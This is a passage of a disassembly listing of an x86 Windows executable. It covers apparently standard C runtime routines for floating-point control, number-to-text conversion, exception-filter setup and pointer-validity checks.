		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_41F110	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41B648
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_41F028	; GetStringTypeW
		jmp	short loc_41B64A
; ---------------------------------------------------------------------------


loc_41B648:				; CODE XREF: sub_41B513+61j
					; sub_41B513+9Bj ...
		xor	eax, eax


loc_41B64A:				; CODE XREF: sub_41B513+93j
					; sub_41B513+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B513	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B65C	proc near		; CODE XREF: sub_417A2F+52p
		xor	eax, eax
		retn
sub_41B65C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B65F	proc near		; CODE XREF: sub_41B694+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41B6AA
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41B73C
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B65F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B694	proc near		; CODE XREF: sub_417D1B+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41B65F
		pop	ecx
		pop	ecx
		retn
sub_41B694	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6AA	proc near		; CODE XREF: sub_41B65F+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41B6BB
		push	10h
		pop	eax


loc_41B6BB:				; CODE XREF: sub_41B6AA+Cj
		test	bl, 4
		jz	short loc_41B6C2
		or	al, 8


loc_41B6C2:				; CODE XREF: sub_41B6AA+14j
		test	bl, 8
		jz	short loc_41B6C9
		or	al, 4


loc_41B6C9:				; CODE XREF: sub_41B6AA+1Bj
		test	bl, 10h
		jz	short loc_41B6D0
		or	al, 2


loc_41B6D0:				; CODE XREF: sub_41B6AA+22j
		test	bl, 20h
		jz	short loc_41B6D7
		or	al, 1


loc_41B6D7:				; CODE XREF: sub_41B6AA+29j
		test	bl, 2
		jz	short loc_41B6E1
		or	eax, 80000h


loc_41B6E1:				; CODE XREF: sub_41B6AA+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41B719
		cmp	edx, 400h
		jz	short loc_41B716
		cmp	edx, 800h
		jz	short loc_41B712
		cmp	edx, esi
		jnz	short loc_41B719
		or	eax, edi
		jmp	short loc_41B719
; ---------------------------------------------------------------------------


loc_41B712:				; CODE XREF: sub_41B6AA+5Ej
		or	eax, ebp
		jmp	short loc_41B719
; ---------------------------------------------------------------------------


loc_41B716:				; CODE XREF: sub_41B6AA+56j
		or	ah, 1


loc_41B719:				; CODE XREF: sub_41B6AA+4Ej
					; sub_41B6AA+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41B729
		cmp	ecx, ebp
		jnz	short loc_41B72E
		or	eax, 10000h
		jmp	short loc_41B72E
; ---------------------------------------------------------------------------


loc_41B729:				; CODE XREF: sub_41B6AA+72j
		or	eax, 20000h


loc_41B72E:				; CODE XREF: sub_41B6AA+76j
					; sub_41B6AA+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41B73B
		or	eax, 40000h

locret_41B73B:				; CODE XREF: sub_41B6AA+8Aj
		retn
sub_41B6AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B73C	proc near		; CODE XREF: sub_41B65F+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41B74C
		push	1
		pop	eax


loc_41B74C:				; CODE XREF: sub_41B73C+Bj
		test	bl, 8
		jz	short loc_41B753
		or	al, 4


loc_41B753:				; CODE XREF: sub_41B73C+13j
		test	bl, 4
		jz	short loc_41B75A
		or	al, 8


loc_41B75A:				; CODE XREF: sub_41B73C+1Aj
		test	bl, 2
		jz	short loc_41B761
		or	al, 10h


loc_41B761:				; CODE XREF: sub_41B73C+21j
		test	bl, 1
		jz	short loc_41B768
		or	al, 20h


loc_41B768:				; CODE XREF: sub_41B73C+28j
		test	ebx, 80000h
		jz	short loc_41B772
		or	al, 2


loc_41B772:				; CODE XREF: sub_41B73C+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41B79F
		cmp	ecx, 100h
		jz	short loc_41B79C
		cmp	ecx, esi
		jz	short loc_41B797
		cmp	ecx, edx
		jnz	short loc_41B79F
		or	ah, 0Ch
		jmp	short loc_41B79F
; ---------------------------------------------------------------------------


loc_41B797:				; CODE XREF: sub_41B73C+50j
		or	ah, 8
		jmp	short loc_41B79F
; ---------------------------------------------------------------------------


loc_41B79C:				; CODE XREF: sub_41B73C+4Cj
		or	ah, 4


loc_41B79F:				; CODE XREF: sub_41B73C+44j
					; sub_41B73C+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41B7B5
		cmp	ecx, 10000h
		jnz	short loc_41B7B7
		or	eax, esi
		jmp	short loc_41B7B7
; ---------------------------------------------------------------------------


loc_41B7B5:				; CODE XREF: sub_41B73C+6Bj
		or	eax, edx


loc_41B7B7:				; CODE XREF: sub_41B73C+73j
					; sub_41B73C+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41B7C4
		or	ah, 10h

locret_41B7C4:				; CODE XREF: sub_41B73C+83j
		retn
sub_41B73C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7C5	proc near		; CODE XREF: sub_41B864+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41B80A
		inc	esi
		cmp	esi, 3
		jge	short loc_41B805
		lea	eax, [eax+esi*4]


loc_41B7F7:				; CODE XREF: sub_41B7C5+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41B80A
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41B7F7


loc_41B805:				; CODE XREF: sub_41B7C5+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: sub_41B7C5+27j
					; sub_41B7C5+35j
		xor	eax, eax
		pop	esi
		retn
sub_41B7C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B80E	proc near		; CODE XREF: sub_41B864+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41CB6F
		add	esp, 0Ch
		dec	esi
		js	short loc_41B860
		lea	edi, [ebx+esi*4]


loc_41B847:				; CODE XREF: sub_41B80E+50j
		test	eax, eax
		jz	short loc_41B860
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41CB6F
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41B847


loc_41B860:				; CODE XREF: sub_41B80E+34j
					; sub_41B80E+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B80E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B864	proc near		; CODE XREF: sub_41B9BF+81p
					; sub_41B9BF+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41B8C8
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41B7C5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B8C5
		push	edi
		push	[ebp+arg_0]
		call	sub_41B80E
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41B8C5:				; CODE XREF: sub_41B864+51j
		mov	eax, [ebp+arg_4]


loc_41B8C8:				; CODE XREF: sub_41B864+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41B8E8
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41B8E8:				; CODE XREF: sub_41B864+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B864	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8F0	proc near		; CODE XREF: sub_41B9BF+75p
					; sub_41B9BF+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41B8FE:				; CODE XREF: sub_41B8F0+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41B8FE
		pop	esi
		retn
sub_41B8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B90B	proc near		; CODE XREF: sub_41B9BF+5Fp
					; sub_41B9BF+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41B90B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B917	proc near		; CODE XREF: sub_41B9BF+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41B91D:				; CODE XREF: sub_41B917+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41B92F
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41B91D
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B92F:				; CODE XREF: sub_41B917+9j
		xor	eax, eax
		retn
sub_41B917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B932	proc near		; CODE XREF: sub_41B9BF+C0p
					; sub_41B9BF+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41B968:				; CODE XREF: sub_41B932+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41B968
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41B99A:				; CODE XREF: sub_41B932+86j
		cmp	ebx, edi
		jl	short loc_41B9AD
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41B9B4
; ---------------------------------------------------------------------------


loc_41B9AD:				; CODE XREF: sub_41B932+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41B9B4:				; CODE XREF: sub_41B932+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41B99A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B932	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9BF	proc near		; CODE XREF: sub_41BB2B+Dp
					; sub_41BB41+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41BA2C
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41B917
		test	eax, eax
		pop	ecx
		jnz	loc_41BAEB
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B90B
		pop	ecx


loc_41BA24:				; CODE XREF: sub_41B9BF+E4j
		push	2


loc_41BA26:				; CODE XREF: sub_41B9BF+110j
		pop	eax
		jmp	loc_41BAED
; ---------------------------------------------------------------------------


loc_41BA2C:				; CODE XREF: sub_41B9BF+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41B8F0
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B864
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BA4D
		inc	ebx


loc_41BA4D:				; CODE XREF: sub_41B9BF+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41BA65
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B90B
		pop	ecx
		jmp	short loc_41BAA1
; ---------------------------------------------------------------------------


loc_41BA65:				; CODE XREF: sub_41B9BF+98j
		cmp	ebx, eax
		jg	short loc_41BAA8
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B8F0
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41B932
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B864
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B932
		add	esp, 20h


loc_41BAA1:				; CODE XREF: sub_41B9BF+A4j
		xor	esi, esi
		jmp	loc_41BA24
; ---------------------------------------------------------------------------


loc_41BAA8:				; CODE XREF: sub_41B9BF+A8j
		cmp	ebx, [edi]
		jl	short loc_41BAD4
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B90B
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B932
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41BA26
; ---------------------------------------------------------------------------


loc_41BAD4:				; CODE XREF: sub_41B9BF+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41B932
		pop	ecx
		pop	ecx


loc_41BAEB:				; CODE XREF: sub_41B9BF+55j
		xor	eax, eax


loc_41BAED:				; CODE XREF: sub_41B9BF+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41BB1C
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41BB26
; ---------------------------------------------------------------------------


loc_41BB1C:				; CODE XREF: sub_41B9BF+14Ej
		cmp	edi, 20h
		jnz	short loc_41BB26
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41BB26:				; CODE XREF: sub_41B9BF+15Bj
					; sub_41B9BF+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB2B	proc near		; CODE XREF: sub_41BB57+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438130
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B9BF
		add	esp, 0Ch
		retn
sub_41BB2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB41	proc near		; CODE XREF: sub_41BB84+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438148
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B9BF
		add	esp, 0Ch
		retn
sub_41BB41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB57	proc near		; CODE XREF: sub_417E54+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41CD10
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB2B
		add	esp, 24h
		leave
		retn
sub_41BB57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB84	proc near		; CODE XREF: sub_417E54+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41CD10
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB41
		add	esp, 24h
		leave
		retn
sub_41BB84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBB1	proc near		; CODE XREF: sub_417E92+65p
					; sub_417F96+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41BBEE
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41BBD4:				; CODE XREF: sub_41BBB1+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41BBE0
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41BBE3
; ---------------------------------------------------------------------------


loc_41BBE0:				; CODE XREF: sub_41BBB1+27j
		push	30h
		pop	edx


loc_41BBE3:				; CODE XREF: sub_41BBB1+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41BBD4
		mov	edx, [ebp+arg_8]


loc_41BBEE:				; CODE XREF: sub_41BBB1+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41BC07
		cmp	byte ptr [ecx],	35h
		jl	short loc_41BC07


loc_41BBFA:				; CODE XREF: sub_41BBB1+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41BC05
		mov	byte ptr [eax],	30h
		jmp	short loc_41BBFA
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBB1+4Dj
		inc	byte ptr [eax]


loc_41BC07:				; CODE XREF: sub_41BBB1+42j
					; sub_41BBB1+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41BC11
		inc	dword ptr [edx+4]
		jmp	short loc_41BC23
; ---------------------------------------------------------------------------


loc_41BC11:				; CODE XREF: sub_41BBB1+59j
		push	edi
		call	sub_413E90
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4145D0
		add	esp, 10h


loc_41BC23:				; CODE XREF: sub_41BBB1+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41BBB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC28	proc near		; CODE XREF: sub_417E92+3Fp
					; sub_417F96+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BC8C
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_7423F8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41D1E1
		mov	dword_742420, eax
		add	esp, 18h
		movsx	eax, byte_7423FA
		mov	dword_742418, eax
		pop	edi
		movsx	eax, word_7423F8
		mov	dword_74241C, eax
		mov	dword_742424, offset dword_7423FC
		mov	eax, offset dword_742418
		pop	esi
		leave
		retn
sub_41BC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC8C	proc near		; CODE XREF: sub_41BC28+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41BCDA
		cmp	ebx, edi
		jz	short loc_41BCD3
		lea	edi, [ecx+3C00h]
		jmp	short loc_41BCFB
; ---------------------------------------------------------------------------


loc_41BCD3:				; CODE XREF: sub_41BC8C+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41BCFB
; ---------------------------------------------------------------------------


loc_41BCDA:				; CODE XREF: sub_41BC8C+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41BCF2
		cmp	edx, ebx
		jnz	short loc_41BCF2
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41BD3D
; ---------------------------------------------------------------------------


loc_41BCF2:				; CODE XREF: sub_41BC8C+52j
					; sub_41BC8C+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41BCFB:				; CODE XREF: sub_41BC8C+45j
					; sub_41BC8C+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41BD13:				; CODE XREF: sub_41BC8C+A6j
		test	ecx, esi
		jnz	short loc_41BD34
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41BD13
; ---------------------------------------------------------------------------


loc_41BD34:				; CODE XREF: sub_41BC8C+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41BD3D:				; CODE XREF: sub_41BC8C+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC8C	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_415F07
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41BD4B	proc near		; DATA XREF: sub_41BD91o
					; seg001:00437B00o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41BD6E
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41BD6E
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41BD6E
		jmp	sub_418A1C
; ---------------------------------------------------------------------------


loc_41BD6E:				; CODE XREF: sub_41BD4B+Dj
					; sub_41BD4B+13j ...
		mov	eax, dword_742428
		test	eax, eax
		jz	short loc_41BD8B
		push	eax
		call	sub_41BDE7
		test	eax, eax
		pop	ecx
		jz	short loc_41BD8B
		push	esi
		call	dword_742428
		jmp	short loc_41BD8D
; ---------------------------------------------------------------------------


loc_41BD8B:				; CODE XREF: sub_41BD4B+2Aj
					; sub_41BD4B+35j
		xor	eax, eax


loc_41BD8D:				; CODE XREF: sub_41BD4B+3Ej
		pop	esi
		retn	4
sub_41BD4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD91	proc near		; DATA XREF: seg001:00421020o
		push	offset sub_41BD4B
		call	dword_41F024	; SetUnhandledExceptionFilter
		mov	dword_742428, eax
		retn
sub_41BD91	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDA2	proc near		; DATA XREF: seg001:00421038o
		push	dword_742428
		call	dword_41F024	; SetUnhandledExceptionFilter
		retn
sub_41BDA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDAF	proc near		; CODE XREF: sub_41826A+6Bp
					; sub_41877B+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_41F020	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41BDC7
		xor	esi, esi


loc_41BDC7:				; CODE XREF: sub_41BDAF+14j
		mov	eax, esi
		pop	esi
		retn
sub_41BDAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDCB	proc near		; CODE XREF: sub_41877B+73p
					; sub_41877B+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_41F178	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41BDE3
		xor	esi, esi


loc_41BDE3:				; CODE XREF: sub_41BDCB+14j
		mov	eax, esi
		pop	esi
		retn
sub_41BDCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDE7	proc near		; CODE XREF: sub_41877B+15Bp
					; sub_41BD4B+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_41F01C	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41BDFB
		xor	esi, esi


loc_41BDFB:				; CODE XREF: sub_41BDE7+10j
		mov	eax, esi
		pop	esi
		retn
sub_41BDE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418A1C


loc_41BDFF:				; CODE XREF: sub_418A1C:loc_418A6Dj
		push	0Ah
		call	sub_41B235
		push	16h
		call	sub_41D474
